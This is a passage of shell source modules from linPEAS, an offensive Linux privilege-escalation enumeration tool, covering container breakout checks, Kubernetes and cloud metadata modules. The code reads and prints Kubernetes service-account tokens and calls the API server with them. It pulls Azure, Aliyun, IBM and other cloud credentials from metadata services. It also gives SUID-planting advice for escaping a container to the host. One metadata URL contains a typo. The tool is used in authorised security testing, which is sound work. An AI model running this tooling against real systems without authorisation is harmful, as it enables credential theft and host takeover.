--version 2>/dev/null | grep -i "version" | grep -Eo "[0-9]+\.[0-9]+\.[0-9]+") if [ "$runc_version" ]; then print_list "Runc CVE-2019-5736 ........... "$NC if [ "$(echo $runc_version | awk -F. '{ if ($1 < 1 || ($1 == 1 && $2 < 0) || ($1 == 1 && $2 == 0 && $3 < 7)) print "Yes"; else print "No"; }')" = "Yes" ]; then echo "Yes - Vulnerable" | sed -${E} "s,Yes,${SED_RED}," else echo "No" fi fi fi if [ "$(command -v containerd || echo -n '')" ]; then print_list "Containerd version ........... "$NC warn_exec containerd --version # Check for specific containerd vulnerabilities containerd_version=$(containerd --version 2>/dev/null | grep -Eo "[0-9]+\.[0-9]+\.[0-9]+") if [ "$containerd_version" ]; then print_list "Containerd CVE-2020-15257 ..... "$NC if [ "$(echo $containerd_version | awk -F. '{ if ($1 < 1 || ($1 == 1 && $2 < 4) || ($1 == 1 && $2 == 4 && $3 < 3)) print "Yes"; else print "No"; }')" = "Yes" ]; then echo "Yes - Vulnerable" | sed -${E} "s,Yes,${SED_RED}," else echo "No" fi fi fi # Mount escape vectors print_3title "Breakout via mounts" "T1611" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.html" checkProcSysBreakouts print_list "/proc mounted? ................. $proc_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "/dev mounted? .................. $dev_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "Run unshare .................... $run_unshare\n" | sed -${E} "s,Yes,${SED_RED}," print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED}," print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "release_agent breakout 3........ $release_agent_breakout3\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," # Additional mount checks print_list "Docker socket mounted? ......... "$NC (mount | grep -E "docker.sock|/var/run/docker.sock" || echo "No") | sed -${E} "s,Yes|docker.sock,${SED_RED}," print_list "Common host filesystem mounted? "$NC (mount | grep -E "host|/host|/mnt/host" || echo "No") | sed -${E} "s,Yes|host,${SED_RED}," print_list "Interesting mounts ............. "$NC mount | grep -E "docker|container|overlay|kubelet" | grep -v "proc" | sed -${E} "s,docker.sock|host|privileged,${SED_RED},g" # Check for writable mount points print_list "Writable mount points ......... "$NC mount | grep -E "rw," | grep -v "ro," | sed -${E} "s,docker.sock|host|privileged,${SED_RED},g" # Check for shared mount points print_list "Shared mount points ........... "$NC mount | grep -E "shared|slave" | sed -${E} "s,docker.sock|host|privileged,${SED_RED},g" # Capability checks print_3title "Capability Checks" "T1611" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/capabilities-abuse-escape.html" print_list "Dangerous capabilities ......... "$NC if [ "$(command -v capsh || echo -n '')" ]; then capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g" else defautl_docker_caps="00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap" cat /proc/self/status | tr '\t' ' ' | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s/00000000a80425fb/$defautl_docker_caps/g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g" echo $ITALIC"Run capsh --decode= to decode the capabilities"$NC fi print_list "Ambient capabilities ........... "$NC (grep "CapAmb:" /proc/self/status 2>/dev/null | grep -v "0000000000000000" | sed "s,CapAmb:.,," || echo "No") | sed -${E} "s,No,${SED_GREEN}," | sed -${E} "s,[0-9a-fA-F]\+,${SED_RED}&," # Additional capability checks print_list "Dangerous syscalls allowed ... "$NC if [ -f "/proc/sys/kernel/yama/ptrace_scope" ]; then (cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null || echo "Not found") | sed -${E} "s,0,${SED_RED}," else echo "Not found" fi # Namespace checks print_3title "Namespace Checks" "T1611" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/namespaces/index.html" print_list "Current namespaces ............. "$NC ls -l /proc/self/ns/ print_list "Host network namespace? ........ "$NC if [ "$(ip netns list 2>/dev/null)" ]; then echo "Yes - Host network namespace accessible" | sed -${E} "s,Yes,${SED_RED}," else echo "No" fi # Additional namespace checks print_list "Host IPC namespace? ........... "$NC if [ "$(ls -l /proc/self/ns/ipc 2>/dev/null)" = "$(ls -l /proc/1/ns/ipc 2>/dev/null)" ]; then echo "Yes - Host IPC namespace shared" | sed -${E} "s,Yes,${SED_RED}," else echo "No" fi print_list "Host PID namespace? ........... "$NC if [ "$(ls -l /proc/self/ns/pid 2>/dev/null)" = "$(ls -l /proc/1/ns/pid 2>/dev/null)" ]; then echo "Yes - Host PID namespace shared" | sed -${E} "s,Yes,${SED_RED}," else echo "No" fi print_list "Host UTS namespace? ........... "$NC if [ "$(ls -l /proc/self/ns/uts 2>/dev/null)" = "$(ls -l /proc/1/ns/uts 2>/dev/null)" ]; then echo "Yes - Host UTS namespace shared" | sed -${E} "s,Yes,${SED_RED}," else echo "No" fi print_list "Looking and enumerating Docker Sockets (if any):\n"$NC enumerateDockerSockets # Additional breakout vectors print_3title "Additional Breakout Vectors" "T1611" print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED}," print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,Yes,${SED_RED}," print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,Yes,${SED_RED}," print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,Yes,${SED_RED}," # Check for container escape tools in PATH print_list "Container escape tools in PATH . "$NC (which nsenter 2>/dev/null || which unshare 2>/dev/null || which chroot 2>/dev/null || which capsh 2>/dev/null || which setcap 2>/dev/null || which getcap 2>/dev/null || echo "No") | sed -${E} "s,nsenter|unshare|chroot|capsh|setcap|getcap,${SED_RED},g" print_3title "Extra Breakout Vectors" "T1611" print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,Yes,${SED_RED}," print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED}," print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,Yes,${SED_RED}," print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,Yes,${SED_RED}," print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,Yes,${SED_RED}," print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,Yes,${SED_RED}," print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,Yes,${SED_RED}," print_list "/proc/self/mem readable ........ $self_mem_readable\n" | sed -${E} "s,Yes,${SED_RED}," print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,Yes,${SED_RED}," print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,Yes,${SED_RED}," print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,Yes,${SED_RED}," print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,Yes,${SED_RED}," print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,Yes,${SED_RED}," print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,Yes,${SED_RED}," print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,Yes,${SED_RED}," print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,Yes,${SED_RED}," # Additional kernel checks print_list "Kernel version .............. "$NC uname -a | sed -${E} "s,$(uname -r),${SED_RED}," print_list "Kernel modules ............. "$NC if command -v lsmod >/dev/null 2>&1; then lsmod | grep -E "overlay|aufs|btrfs|device_mapper|floppy|loop|squashfs|udf|veth|vbox|vmware|kvm|xen|docker|containerd|runc|crio" | sed -${E} "s,overlay|aufs|btrfs|device_mapper|floppy|loop|squashfs|udf|veth|vbox|vmware|kvm|xen|docker|containerd|runc|crio,${SED_RED},g" elif [ -r /proc/modules ]; then cat /proc/modules | grep -E "overlay|aufs|btrfs|device_mapper|floppy|loop|squashfs|udf|veth|vbox|vmware|kvm|xen|docker|containerd|runc|crio" | sed -${E} "s,overlay|aufs|btrfs|device_mapper|floppy|loop|squashfs|udf|veth|vbox|vmware|kvm|xen|docker|containerd|runc|crio,${SED_RED},g" else echo_not_found "lsmod and /proc/modules" fi # Additional container runtime checks print_list "Container runtime sockets .. "$NC (find /var/run -name "*.sock" 2>/dev/null | grep -E "docker|containerd|crio|podman|lxc|rkt" || echo "No") | sed -${E} "s,docker|containerd|crio|podman|lxc|rkt,${SED_RED},g" print_list "Container runtime configs .. "$NC (find /etc -name "*.conf" -o -name "*.json" 2>/dev/null | grep -E "docker|containerd|crio|podman|lxc|rkt" || echo "No") | sed -${E} "s,docker|containerd|crio|podman|lxc|rkt,${SED_RED},g" # Kubernetes specific checks if echo "$containerType" | grep -qi "kubernetes"; then print_3title "Kubernetes Specific Checks" "T1611" print_info "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.html" print_list "Kubernetes namespace ...........$NC $(cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)\n" print_list "Kubernetes token ...............$NC $(cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\n" print_list "Kubernetes service account folder" | sed -${E} "s,.*,${SED_RED}," ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null print_list "Kubernetes env vars" | sed -${E} "s,.*,${SED_RED}," (env | set) | grep -Ei "kubernetes|kube" | grep -Ev "^WF=|^Wfolders=|^mounted=|^USEFUL_SOFTWARE='|^INT_HIDDEN_FILES=|^containerType=" print_list "Current sa user k8s permissions" | sed -${E} "s,.*,${SED_RED}," kubectl auth can-i --list 2>/dev/null || curl -s -k -d "$(echo \"eyJraW5kIjoiU2VsZlN1YmplY3RSdWxlc1JldmlldyIsImFwaVZlcnNpb24iOiJhdXRob3JpemF0aW9uLms4cy5pby92MSIsIm1ldGFkYXRhIjp7ImNyZWF0aW9uVGltZXN0YW1wIjpudWxsfSwic3BlYyI6eyJuYW1lc3BhY2UiOiJlZXZlZSJ9LCJzdGF0dXMiOnsicmVzb3VyY2VSdWxlcyI6bnVsbCwibm9uUmVzb3VyY2VSdWxlcyI6bnVsbCwiaW5jb21wbGV0ZSI6ZmFsc2V9fQo=\"|base64 -d)" \ "https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \ -X 'POST' -H 'Content-Type: application/json' \ --header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" | sed "s,secrets|exec|create|patch|impersonate|\"*\",${SED_RED}," # Additional Kubernetes checks print_list "Kubernetes API server ...... "$NC (curl -s -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/version 2>/dev/null || echo "Not accessible") | sed -${E} "s,Not accessible,${SED_GREEN}," print_list "Kubernetes secrets ......... "$NC (kubectl get secrets 2>/dev/null || echo "Not accessible") | sed -${E} "s,Not accessible,${SED_GREEN}," print_list "Kubernetes pods ............ "$NC (kubectl get pods 2>/dev/null || echo "Not accessible") | sed -${E} "s,Not accessible,${SED_GREEN}," print_list "Kubernetes services ........ "$NC (kubectl get services 2>/dev/null || echo "Not accessible") | sed -${E} "s,Not accessible,${SED_GREEN}," print_list "Kubernetes nodes ........... "$NC (kubectl get nodes 2>/dev/null || echo "Not accessible") | sed -${E} "s,Not accessible,${SED_GREEN}," fi # Interesting files and mounts print_3title "Interesting Files & Mounts" "T1611" print_list "Interesting files mounted ........ "$NC (mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,.sock,${SED_RED}," | sed -${E} "s,docker.sock,${SED_RED_YELLOW}," | sed -${E} "s,/dev/,${SED_RED},g" print_list "Possible entrypoints ........... "$NC ls -lah /*.sh /*entrypoint* /**/entrypoint* /**/*.sh /deploy* 2>/dev/null | sort | uniq echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/2_container/7_RW_bind_mounts_nosuid.sh ================================================ # Title: Container - Writable bind mounts without nosuid (SUID risk) # ID: CT_RW_bind_mounts_nosuid # Author: HT Bot # Last Update: 17-09-2025 # Description: Detect writable bind-mounted paths inside containers that are not mounted with nosuid. # If the container user is root and the mount is a host bind mount without nosuid, an attacker may # be able to drop a SUID binary on the shared path and execute it from the host to escalate to root # (classic container-to-host breakout via writable bind mount). # License: GNU GPL # Version: 1.0 # Mitre: T1611 # Functions Used: containerCheck, print_2title, print_list, print_info # Global Variables: $inContainer # Initial Functions: containerCheck # Generated Global Variables: $CT_RW_bind_mounts_matches # Fat linpeas: 0 # Small linpeas: 1 containerCheck if [ "$inContainer" ]; then echo "" print_2title "Container - Writable bind mounts w/o nosuid (SUID persistence risk)" "T1611" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html#writable-bind-mounts" if [ -r /proc/self/mountinfo ]; then CT_RW_bind_mounts_matches=$(grep -E "(^| )bind( |$)" /proc/self/mountinfo 2>/dev/null | grep -E "(^|,)rw(,|$)" | grep -v "nosuid" || true) else CT_RW_bind_mounts_matches=$(mount -l 2>/dev/null | grep -E "bind" | grep -E "(^|,)rw(,|$)" | grep -v "nosuid" || true) fi if [ -z "$CT_RW_bind_mounts_matches" ]; then print_list "Writable bind mounts without nosuid ............ No" else print_list "Writable bind mounts without nosuid ............ Yes" | sed -${E} "s,Yes,${SED_RED}," echo "$CT_RW_bind_mounts_matches" | sed -${E} "s,/proc/self/mountinfo,${SED_GREEN}," echo "" if [ "$(id -u 2>/dev/null)" = "0" ]; then print_list "Note"; echo ": You are root inside a container and there are writable bind mounts without nosuid." | sed -${E} "s,.*,${SED_RED}," echo " If the path is shared with the host and executable there, you may plant a SUID binary (e.g., copy /bin/bash and chmod 6777)" echo " and execute it from the host to obtain root. Ensure proper authorization before testing." else print_list "Note"; echo ": Current user is not root; if you obtain container root, these mounts may enable host escalation via SUID planting." | sed -${E} "s,.*,${SED_RED}," fi fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/3_cloud/10_Azure_automation_account.sh ================================================ # Title: Cloud - Azure Automation Account # ID: CL_Azure_automation_account # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Azure Automation Account Service Enumeration # License: GNU GPL # Version: 1.0 # Mitre: T1552.005,T1580 # Functions Used: check_az_automation_acc, exec_with_jq, print_2title, print_3title # Global Variables: $is_az_automation_acc, # Initial Functions: check_az_automation_acc # Generated Global Variables: $API_VERSION, $HEADER, $az_req # Fat linpeas: 0 # Small linpeas: 0 API_VERSION="2019-08-01" #https://learn.microsoft.com/en-us/azure/app-service/overview-managed-identity?tabs=portal%2Chttp if [ "$is_az_automation_acc" = "Yes" ]; then print_2title "Azure Automation Account Service Enumeration" "T1552.005,T1580" HEADER="X-IDENTITY-HEADER:$IDENTITY_HEADER" az_req="" if [ "$(command -v curl || echo -n '')" ]; then az_req="curl -s -f -L -H '$HEADER'" elif [ "$(command -v wget || echo -n '')" ]; then az_req="wget -q -O - --header '$HEADER'" else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi if [ "$az_req" ]; then print_3title "Management token" "T1552.005,T1580" exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/" echo print_3title "Graph token" "T1552.005,T1580" exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" echo print_3title "Vault token" "T1552.005,T1580" exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/" echo print_3title "Storage token" "T1552.005,T1580" exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/" fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/3_cloud/11_DO_Droplet.sh ================================================ # Title: Cloud - DO Droplet # ID: CL_DO_Droplet # Author: Carlos Polop # Last Update: 22-08-2023 # Description: DO Droplet Enumeration # License: GNU GPL # Version: 1.0 # Mitre: T1552.005,T1580 # Functions Used: check_do, print_2title # Global Variables: $is_do # Initial Functions: check_do # Generated Global Variables: $do_req, $URL # Fat linpeas: 0 # Small linpeas: 1 if [ "$is_do" = "Yes" ]; then print_2title "DO Droplet Enumeration" "T1552.005,T1580" do_req="" if [ "$(command -v curl || echo -n '')" ]; then do_req='curl -s -f -L ' elif [ "$(command -v wget || echo -n '')" ]; then do_req='wget -q -O - ' else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi if [ "$do_req" ]; then URL="http://169.254.169.254/metadata" printf "Id: "; eval $do_req "$URL/v1/id"; echo "" printf "Region: "; eval $do_req "$URL/v1/region"; echo "" printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo "" printf "User data: "; eval $do_req "$URL/v1/user-data"; echo "" printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo "" printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces"; printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip"; printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip"; printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags"; printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features"; fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/3_cloud/13_Ali_Cloud.sh ================================================ # Title: Cloud - Ali Cloud # ID: CL_Ali_Cloud # Author: Esonhugh # Last Update: 22-01-2024 # Description: Ali Cloud Platform Enumeration # License: GNU GPL # Version: 1.0 # Mitre: T1552.005,T1580 # Functions Used: print_2title, print_3title, print_info # Global Variables: $is_aliyun_ecs # Initial Functions: check_aliyun_ecs # Generated Global Variables: $aliyun_req, $aliyun_token, $i_hostname, $i_instance_id, $i_instance_name, $i_instance_type, $i_aliyun_owner_account, $i_region_id, $i_zone_id, $i_pub_ipv4, $i_priv_ipv4, $net_dns, $mac, $sa, $key # Fat linpeas: 0 # Small linpeas: 1 if [ "$is_aliyun_ecs" = "Yes" ]; then aliyun_req="" aliyun_token="" if [ "$(command -v curl)" ]; then aliyun_token=$(curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds:1000") aliyun_req='curl -s -f -L -H "X-aliyun-ecs-metadata-token: $aliyun_token"' elif [ "$(command -v wget)" ]; then aliyun_token=$(wget -q -O - --method PUT "http://100.100.100.200/latest/api/token" --header "X-aliyun-ecs-metadata-token-ttl-seconds:1000") aliyun_req='wget -q -O --header "X-aliyun-ecs-metadata-token: $aliyun_token"' else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi if [ "$aliyun_token" ]; then print_2title "Aliyun ECS Enumeration" "T1552.005,T1580" print_info "https://help.aliyun.com/zh/ecs/user-guide/view-instance-metadata" echo "" print_3title "Instance Info" "T1552.005,T1580" i_hostname=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/hostname) [ "$i_hostname" ] && echo "Hostname: $i_hostname" i_instance_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance-id) [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" # no dup of hostname if in ACK it possibly leaks aliyun cluster service ClusterId i_instance_name=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-name) [ "$i_instance_name" ] && echo "Instance Name: $i_instance_name" i_instance_type=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-type) [ "$i_instance_type" ] && echo "Instance Type: $i_instance_type" i_aliyun_owner_account=$(eval $aliyun_req http://i00.100.100.200/latest/meta-data/owner-account-id) [ "$i_aliyun_owner_account" ] && echo "Aliyun Owner Account: $i_aliyun_owner_account" i_region_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/region-id) [ "$i_region_id" ] && echo "Region ID: $i_region_id" i_zone_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/zone-id) [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id" echo "" print_3title "Network Info" "T1552.005,T1580" i_pub_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/public-ipv4) [ "$i_pub_ipv4" ] && echo "Public IPv4: $i_pub_ipv4" i_priv_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/private-ipv4) [ "$i_priv_ipv4" ] && echo "Private IPv4: $i_priv_ipv4" net_dns=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/dns-conf/nameservers) [ "$net_dns" ] && echo "DNS: $net_dns" echo "========" for mac in $(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/); do echo " Mac: $mac" echo " Mac interface id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/network-interface-id) echo " Mac netmask: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/netmask) echo " Mac vpc id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-id) echo " Mac vpc cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-cidr-block) echo " Mac vpc cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-ipv6-cidr-blocks) echo " Mac vswitch id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-id) echo " Mac vswitch cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-cidr-block) echo " Mac vswitch cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-ipv6-cidr-block) echo " Mac private ips: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/private-ipv4s) echo " Mac private ips (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6s) echo " Mac gateway: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/gateway) echo " Mac gateway (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6-gateway) echo "=======" done echo "" print_3title "Service account " "T1552.005,T1580" for sa in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/"); do echo " Name: $sa" echo " STS Token: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/$sa") echo " ==============" done echo "" print_3title "Possbile admin ssh Public keys" "T1552.005,T1580" for key in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/"); do echo " Name: $key" echo " Key: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/${key}openssh-key") echo " ==============" done fi fi ================================================ FILE: linPEAS/builder/linpeas_parts/3_cloud/14_IBM_Cloud.sh ================================================ # Title: Cloud - IBM Cloud # ID: CL_IBM_Cloud # Author: Carlos Polop # Last Update: 22-08-2023 # Description: IBM Cloud Enumeration # License: GNU GPL # Version: 1.0 # Mitre: T1552.005,T1580 # Functions Used: check_ibm_vm, print_2title, print_3title # Global Variables: $IBM_TOKEN, $is_ibm_vm # Initial Functions: check_ibm_vm # Generated Global Variables: $TOKEN_HEADER, $ACCEPT_HEADER, $URL, $ibm_req # Fat linpeas: 0 # Small linpeas: 0 if [ "$is_ibm_vm" = "Yes" ]; then print_2title "IBM Cloud Enumeration" "T1552.005,T1580" if ! [ "$IBM_TOKEN" ]; then echo "Couldn't get the metadata token:(" else TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN" ACCEPT_HEADER="Accept: application/json" URL="http://169.254.169.254/latest/meta-data" ibm_req="" if [ "$(command -v curl || echo -n '')" ]; then ibm_req="curl -s -f -L -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" elif [ "$(command -v wget || echo -n '')" ]; then ibm_req="wget -q -O - --header '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi if [ "$ibm_req" ]; then print_3title "Instance Details" "T1552.005,T1580" exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" print_3title "Keys and User data" "T1552.005,T1580" exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" print_3title "Placement Groups" "T1552.005,T1580" exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" print_3title "IAM credentials" "T1552.005,T1580" exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" fi fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/3_cloud/15_Tencent_Cloud.sh ================================================ # Title: Cloud - Tencent Cloud # ID: CL_Tencent_Cloud # Author: Shadowabi # Last Update: 22-01-2024 # Description: Tencent Cloud Platform Enumeration # License: GNU GPL # Version: 1.0 # Mitre: T1552.005,T1580 # Functions Used: print_2title, print_3title, print_info # Global Variables: $is_tencent_cvm # Initial Functions: check_tencent_cvm # Generated Global Variables: $tencent_req, $i_tencent_owner_account, $i_hostname, $i_instance_id, $i_instance_name, $i_instance_type, $i_region_id, $i_zone_id, $mac_tencent, $lipv4, $sa_tencent, $key_tencent # Fat linpeas: 0 # Small linpeas: 1 if [ "$is_tencent_cvm" = "Yes" ]; then tencent_req="" if [ "$(command -v curl)" ]; then tencent_req='curl --connect-timeout 2 -sfkG' elif [ "$(command -v wget)" ]; then tencent_req='wget -q --timeout 2 --tries 1 -O -' else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi print_2title "Tencent CVM Enumeration" "T1552.005,T1580" print_info "https://cloud.tencent.com/document/product/213/4934" # Todo: print_info "Hacktricks Documents needs to be updated" echo "" print_3title "Instance Info" "T1552.005,T1580" i_tencent_owner_account=$(eval $tencent_req http://169.254.0.23/latest/meta-data/app-id) [ "$i_tencent_owner_account" ] && echo "Tencent Owner Account: $i_tencent_owner_account" i_hostname=$(eval $tencent_req http://169.254.0.23/latest/meta-data/hostname) [ "$i_hostname" ] && echo "Hostname: $i_hostname" i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-id) [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/uuid) [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" i_instance_name=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-name) [ "$i_instance_name" ] && echo "Instance Name: $i_instance_name" i_instance_type=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance/instance-type) [ "$i_instance_type" ] && echo "Instance Type: $i_instance_type" i_region_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/region) [ "$i_region_id" ] && echo "Region ID: $i_region_id" i_zone_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/zone) [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id" echo "" print_3title "Network Info" "T1552.005,T1580" for mac_tencent in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/); do echo " Mac: $mac_tencent" echo " Primary IPv4: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/primary-local-ipv4) echo " Mac public ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/public-ipv4s) echo " Mac vpc id: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/vpc-id) echo " Mac subnet id: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/subnet-id) for lipv4 in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s); do echo " Mac local ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/local-ipv4) echo " Mac gateways: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/gateway) echo " Mac public ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/public-ipv4) echo " Mac public ips mode: "$(eval $tencent_req 